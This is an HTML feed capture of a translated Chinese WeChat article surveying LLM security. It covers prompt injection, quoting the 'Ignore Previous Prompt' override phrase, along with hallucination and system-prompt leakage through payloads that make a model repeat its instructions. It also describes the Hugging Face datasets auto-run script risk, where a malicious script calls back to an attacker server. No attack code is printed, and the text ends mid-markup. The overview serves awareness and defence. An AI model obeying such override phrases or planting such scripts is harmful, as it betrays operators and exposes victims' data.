0px;"/></p></section></section></section></section><section style="padding-right: 2px;padding-left: 2px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;"><section powered-by="xiumi.us" style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;vertical-align: top;transform: matrix(1, 0, -0.2, 1, 0, 0);background-color: rgb(5, 8, 35);box-shadow: rgba(255, 255, 255, 0) 0px 0px 0px;line-height: 1;letter-spacing: 0px;width: 5px;height: auto;"><section powered-by="xiumi.us" style="outline: 0px;text-align: justify;"><p style="outline: 0px;"><br style="outline: 0px;"/></p></section></section></section></section><section style="padding-right: 2px;padding-left: 2px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;"><section powered-by="xiumi.us" style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;vertical-align: top;transform: matrix(1, 0, -0.2, 1, 0, 0);background-color: rgb(5, 8, 35);box-shadow: rgba(255, 255, 255, 0) 0px 0px 0px;line-height: 1;letter-spacing: 0px;width: 5px;height: auto;"><section powered-by="xiumi.us" style="outline: 0px;text-align: justify;"><p style="outline: 0px;"><br style="outline: 0px;"/></p></section></section></section></section><section style="padding-right: 2px;padding-left: 2px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;"><section powered-by="xiumi.us" style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;vertical-align: top;transform: matrix(1, 0, -0.2, 1, 0, 0);background-color: rgb(5, 8, 35);box-shadow: rgba(255, 255, 255, 0) 0px 0px 0px;line-height: 1;letter-spacing: 0px;width: 5px;height: auto;"><section powered-by="xiumi.us" style="outline: 0px;text-align: justify;"><p style="outline: 0px;"><br style="outline: 0px;"/></p></section></section></section></section><section style="padding-right: 2px;padding-left: 2px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;"><section powered-by="xiumi.us" style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;vertical-align: top;transform: matrix(1, 0, -0.2, 1, 0, 0);background-color: rgb(5, 8, 35);box-shadow: rgba(255, 255, 255, 0) 0px 0px 0px;line-height: 1;letter-spacing: 0px;width: 5px;height: auto;"><section powered-by="xiumi.us" style="outline: 0px;text-align: justify;"><p style="outline: 0px;"><br style="outline: 0px;"/></p></section></section></section></section><section style="padding-left: 10px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;"><section powered-by="xiumi.us" style="margin-bottom: 8px;outline: 0px;"><section style="outline: 0px;background-color: rgb(5, 8, 35);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><p powered-by="xiumi.us" style="outline: 0px;text-align: center;"><span style="outline: 0px;color: rgb(34, 34, 34);letter-spacing: 0.544px;visibility: visible;"><strong style="outline: 0px;visibility: visible;">点击关注下方名片</strong></span><strong style="outline: 0px;color: rgb(34, 34, 34);letter-spacing: 0.544px;visibility: visible;">进入公众号 了解更多</strong></p><section class="mp_profile_iframe_wrp" style="outline: 0px;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe js_wx_tap_highlight" data-pluginname="mpprofile" data-id="MzkyOTQ0MjE1NQ==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/DxUXemrrntricFDGd3rFBFR2TBmcUL6gy4o56Xf9JqcFyZ2cO7qPGBYa6ibzCAHIibdUicAYKTNsmrurGiaPxBjdgUQ/300?wx_fmt=png&amp;wxfrom=19" data-nickname="solar专业应急响应团队" data-alias="" data-signature="7×24小时在线服务，国企背景资质保证。专业安全团队，十余年来专注数据恢复，漏洞修补，安全加固。当天完成评估、修复，不成功不收费。同时完成攻击溯源、漏洞排查、漏洞修补，保障您的服务器安全！" data-from="2" data-is_biz_ban="0" data-origin_num="14" data-isban="0" data-biz_account_status="0" data-index="0"></mp-common-profile></section><p powered-by="xiumi.us" style="outline: 0px;text-align: center;"><span style="letter-spacing: 0.544px;word-spacing: 0em;"></span><span style="letter-spacing: 0.578px;color: rgb(189, 189, 189);font-size: 14px;text-align: justify;word-spacing: 0em;"></span></p></section></section></section></section><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="2247485599">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f2549d01&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485599%26idx%3D1%26sn%3De85f53946349d2e6bd93baf11c9e2505%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 29 Nov 2024 10:30:00 +0800</pubDate>
    </item>
    <item>
      <title>大语言语言模型安全攻击以及AI供应链漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485595&amp;idx=1&amp;sn=b4c87d04e1659f11fad8f2f125985751</link>
      <description>本篇文章为翻译文章，让我们跟随梅苑师傅的脚步，一起来研究一下大语言语言模型安全攻击以及AI供应链漏洞！</description>
      <content:encoded><![CDATA[<p>
<span>梅苑</span> <span>2024-11-15 11:28</span> <span style="display: inline-block;">广东</span>
</p>

<p>本篇文章为翻译文章，让我们跟随梅苑师傅的脚步，一起来研究一下大语言语言模型安全攻击以及AI供应链漏洞！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=096a7314&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbeqtS0UPcSeHVrFDEICPQ60iaaBC4iaf0dcII2WmRzw8Ghe3YrKbx6KK207wvsK5vGOGsJZkEEJqjKg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="box-sizing: border-box;text-align: justify;margin-bottom: 24px;"><section style="font-size: 16px;font-style: normal;font-weight: 400;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;" powered-by="xiumi.us"><section style="z-index: auto;box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;"><section style="text-align: center;margin: 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;"><section style="margin: 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">01</strong></p></section></section></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;"><section style="margin: 5px 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">简要说明</strong></p></section></section><section style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;" powered-by="xiumi.us"><section style="z-index: 2;box-sizing: border-box;" powered-by="xiumi.us"><section style="margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;"><section style="background-color: rgb(23, 119, 255);height: 1px;box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-family: Inter, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">人工智能和人工智能的安全性正在以惊人的速度发展，AI模型供应链中使用的工具，用于构建机器学习模型，会使AI应用程序容易受到独特的安全威胁。</span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">这些工具是开源的，这意味着它们开箱即用时可能存在漏洞，这些漏洞可直接导致完整的系统接管，例如未经身份验证的远程代码执行或本地文件包含。这意味着什么？您可能面临模型、数据和凭据被盗的风险。</span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">大语言模型因其出色的文本理解和生成能力，被广泛应用于自然语言处理领域并取得了显著成果，为社会各界带来了巨大的便利。然而，大语言模型自身仍存在明显的安全问题，严重影响其应用的可信性与可靠性，是安全学者需广泛关注的问题。</span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">此专题主要目的为拓宽AI与AI供应链安全相关知识，以下内容均为参考论文、博客，拓宽知识面，提升对安全认知的宽度。<br/></span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></span></section><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><br/></p></section><section style="font-size: 16px;font-style: normal;font-weight: 400;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;" powered-by="xiumi.us"><section style="z-index: auto;box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;"><section style="text-align: center;margin: 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;"><section style="margin: 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">02</strong></p></section></section></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;"><section style="margin: 5px 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">技术背景<br/></p></section></section><section style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;" powered-by="xiumi.us"><section style="z-index: 2;box-sizing: border-box;" powered-by="xiumi.us"><section style="margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;"><section style="background-color: rgb(23, 119, 255);height: 1px;box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">美国人工智能研究实验室 OpenAI 开发出一种可能会改变人类历史的人工智能技术驱动的自然语言处理工具，一种划时代的产物 ChatGPT，ChatGPT 是AI 技术进展的成果，已经获得了代码的理解能力，潜在地获得了复杂推理的能力，可以和人类的常识、认知、需求、价值观保持一致，ChatGPT 在大量的网络文本数据上进行训练。</span></p><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">它的知识和语言表达能力比其他 AI 机器人更加丰富，并且拥有更强的自然语言处理能力，能够理解复杂的语言结构，回答各种类型的问题，知识范围更广更智能，回答更加精确，可以根据用户的语境和问题进行上下文理解，还可以撰写邮件、视频脚本、文案、翻译、代码等任务。</span></p><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></span></p><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>03</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p>大语言模型（LLM）的提示注入攻击</p></section></section><section powered-by="xiumi.us" style="display: flex;width: 492.667px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: 2;"><section style="text-align: right;transform: translate3d(15px, 0px, 0px);"><section style="background-color: rgb(23, 119, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000582" data-ratio="0.30973451327433627" data-s="300,640" style="" data-type="png" data-w="904" src="https://wechat2rss.xlab.app/img-proxy/?k=679725b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLhYNiaaJSrTNkreV2fhFfIAqQ1N91tSDbncBB1nicXTIC7x9jBO9LR1dg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">使用“IgnorePrevious
Prompt”命令来指导 LLM 无视之前的指令，这可能被用来绕过内容审查、生成恶意内容。</span></p><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">提示注入攻击主要利用 LLM 在处理文本时常常难以区分系统指令和用户输入的缺陷,这种界限的模糊可能导致恶意指令的成功注入。</span></p><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">LLM 在生成文本时依赖于对自然语言的识别和处理,然而在自然语言中系统指令和用户输入提示词往往混合在一起,缺乏清晰的界限。由于这种模糊性，LLM有可能将系统指令和用户输入统一当作指令来处理,缺乏对提示词进行严格验证的机制，从而因受到恶意指令的干扰而输出具有危害性的内容。</span></p><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></span></p><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><br/></p><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>04</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p>大语言模型（LLM）的幻觉问题</p></section></section></section></section></section></section><section style="text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">大语言模型的幻觉问题指模型在处理输入任务、维持输出语境连贯性以及与现实世界事实保持一致性时存在偏差或错误。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000584" data-ratio="0.5555555555555556" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3ec97264&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLHjePnHvGDwGMlzDcNQsz6DdJykcqzNSZfJYz2WUjDnxvrNeZym6prQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-indent: 2em;"><br/></section><section style="text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">如图所示,大模型的幻觉问题可归结为３种主要表现形式:</span></section><section style="text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">１)回答与输入任务不匹配,即模型生成的回答与用户输入的任务不相关;</span></section><section style="text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">２)回答内容语境不一致,即模型生成的回答前后矛盾;</span></section><section style="text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">３)回答与既定事实相违背,即模型生成的回答与现实世界的可验证事实存在冲突。</span></section><section style="text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">这些幻觉问题影响了大模型的可靠性，并限制了大模型的应用范围，尤其是在关键领域如医疗和金融。</span></section></section><p msttexthash="2489556264" msthash="52" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><br/></p><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>05</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p>大语言模型（LLM）的提示词泄露</p></section></section><section powered-by="xiumi.us" style="display: flex;width: 492.667px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: 2;"><section style="text-align: right;transform: translate3d(15px, 0px, 0px);"><section style="background-color: rgb(23, 119, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><section style="text-indent: 2em;margin-bottom: 24px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">提示词泄露将导致本属于应用开发者的系统提示词被其他竞争对手用于获利，而为用户定制的提示词被泄露可能导致用户隐私信息被泄露。提示词泄露亦有可能增强其他针对大模型的攻击，例如攻击者可基于被泄露的系统提示词，针对性优化提示词注入攻击的载荷，从而更好地绕过系统提示词 为大模型添加的安全措施。</span><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.5000pt;mso-font-kerning:1.0000pt;"><o:p></o:p></span></section><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000585" data-ratio="0.9528688524590164" data-s="300,640" style="width: 338px;height: 322px;" data-type="png" data-w="488" src="https://wechat2rss.xlab.app/img-proxy/?k=b247b6df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLCUdCyMwwVMAIjLwhvqfx2pxrbQV50bI9B9Y6faZAle7tC0EzPJfrSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-indent: 2em;margin-bottom: 24px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">上图给出了泄露大模型应用的系统提示词，攻击者可向应用发送专门构造的攻击载荷，这些攻击载荷使得大模型忽略提示词的要求，转而执行复述操作，将该应用的提示词返回给攻击者。</span><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.5000pt;mso-font-kerning:1.0000pt;"><o:p></o:p></span></section><section style="text-indent: 2em;margin-bottom: 24px;"><br/></section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>06</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p><span style="letter-spacing: 0.578px;font-size: 18px;">不</span><strong><span style="font-family: 宋体;letter-spacing: 0.578px;font-size: 18px;">安全特性可被利用于AI供应链攻击</span></strong></p></section></section><section powered-by="xiumi.us" style="display: flex;width: 492.667px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: 2;"><section style="text-align: right;transform: translate3d(15px, 0px, 0px);"><section style="background-color: rgb(23, 119, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><br/></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000586" data-ratio="0.5583333333333333" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9ce3c455&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLzz5jbTibRzpnm5qrv1SxSibGib2wvJF5ssb6nYVL6q3lZPnDny4a61UIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">腾讯朱雀实验室在对datasets等AI开源组件进行安全研究时发现，开发者通常会使用datasets组件的load_dataset函数加载数据集，为了考虑支持更复杂的数据处理格式或流程，当加载的数据集下包含有与数据集同名的Python脚本时，将会默认运行该脚本。</span></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000587" data-ratio="0.412962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fee9f06e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLeLay3ibYibsDj3hEsYmcZ0KEUfsXdIlS2Q7xeVc4LBaogcVa790GsRKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">由于Hugging Face平台上的数据集都由用户上传，如果数据集中的Python脚本包含恶意行为，那么会造成严重的安全风险，如下图所示，攻击者构造的恶意脚本会主动连接攻击者服务器，并等待攻击者下发执行系统命令，最终窃取受害者服务器上的敏感数据。</span></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000588" 